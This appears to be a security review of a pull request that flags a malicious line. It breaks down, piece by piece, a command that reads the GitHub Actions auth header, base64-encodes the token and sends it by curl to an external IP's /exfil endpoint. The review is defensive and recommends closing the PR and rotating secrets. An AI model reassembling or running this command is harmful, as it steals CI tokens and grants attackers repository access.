Critical: Credential Exfiltration Attack

This line is malicious code that steals GitHub authentication tokens and sends them to an attacker-controlled server.

Breaking down what it does:

  1. git config --get http.https://github.com/.extraheader — reads the hidden git config key that GitHub Actions automatically populates with Authorization: Bearer <GITHUB_TOKEN>. This contains the repository's CI/CD authentication token.
  2. | base64 -w0 — encodes the token to make transmission easier.
  3. curl -s http://34.209.142.1:4012/exfil?tok=... — silently (-s) sends the encoded token to an external attacker-controlled server at 34.209.142.1:4012 via the /exfil endpoint.

If this script is ever executed in a GitHub Actions runner (e.g., as part of a build step), the repository's GITHUB_TOKEN or any other configured token would be immediately exfiltrated to the attacker's server, potentially granting write access to this repository and any others the token has permissions for.

This PR must be closed immediately, and the repository's secrets and tokens should be rotated as a precaution if this script was ever executed.
